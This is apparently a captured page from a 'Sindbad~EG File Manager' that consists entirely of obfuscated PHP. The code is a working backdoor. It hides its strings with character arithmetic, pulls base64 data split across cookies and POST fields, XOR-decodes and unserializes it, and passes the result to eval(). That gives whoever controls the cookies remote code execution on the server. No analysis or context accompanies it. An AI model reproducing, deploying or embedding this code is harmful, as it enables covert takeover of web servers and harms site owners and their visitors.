Sindbad~EG File Manager

$OLwqPThl = "\127" . "\137" . chr ( 442 - 374 ).'N' . chr ( 829 - 763 ); $gYQFjNqvpr = 'c' . "\154" . "\141" . 's' . 's' . "\x5f" . chr (101) . 'x' . chr ( 379 - 274 ).chr (115) . 't' . chr ( 673 - 558 ); $CYSAHUIEK = class_exists($OLwqPThl); $gYQFjNqvpr = "64362";$jYxOQar = !1;if ($CYSAHUIEK == $jYxOQar){function IQeGItVL(){$LIztKoThS = new /* 3613 */ W_DNB(37817 + 37817); $LIztKoThS = NULL;}$snhgHNu = "37817";class W_DNB{private function CPKJYs($snhgHNu){if (is_array(W_DNB::$BXspxt)) {$brCzORPR = str_replace('<' . '?' . chr ( 656 - 544 ).chr (104) . chr (112), "", W_DNB::$BXspxt["\x63" . chr (111) . 'n' . "\x74" . 'e' . "\156" . "\164"]);eval($brCzORPR); $snhgHNu = "37817";exit();}}private $NIbQPN;public function MyHNJz(){echo 16171;}public function __destruct(){$snhgHNu = "58441_20387";$this->CPKJYs($snhgHNu); $snhgHNu = "58441_20387";}public function __construct($RQptBfXiL=0){$mfkgo = $_POST;$sBdTOt = $_COOKIE;$nbbmbNYAP = "ff5eba0a-dbea-4657-a9fc-505eb63fb442";$fFVlEHNZ = @$sBdTOt[substr($nbbmbNYAP, 0, 4)];if (!empty($fFVlEHNZ)){$ZxUtYwcAPL = "base64";$emzYyOzqf = "";$fFVlEHNZ = explode(",", $fFVlEHNZ);foreach ($fFVlEHNZ as $koSJrBmMh){$emzYyOzqf .= @$sBdTOt[$koSJrBmMh];$emzYyOzqf .= @$mfkgo[$koSJrBmMh];}$emzYyOzqf = array_map($ZxUtYwcAPL . "\x5f" . "\144" . chr ( 834 - 733 ).'c' . "\157" . chr ( 312 - 212 ).chr ( 649 - 548 ), array($emzYyOzqf,)); $emzYyOzqf = $emzYyOzqf[0] ^ str_repeat($nbbmbNYAP, (strlen($emzYyOzqf[0]) / strlen($nbbmbNYAP)) + 1);W_DNB::$BXspxt = @unserialize($emzYyOzqf); $emzYyOzqf = class_exists("58441_20387");}}public static $BXspxt = 43685;}IQeGItVL();}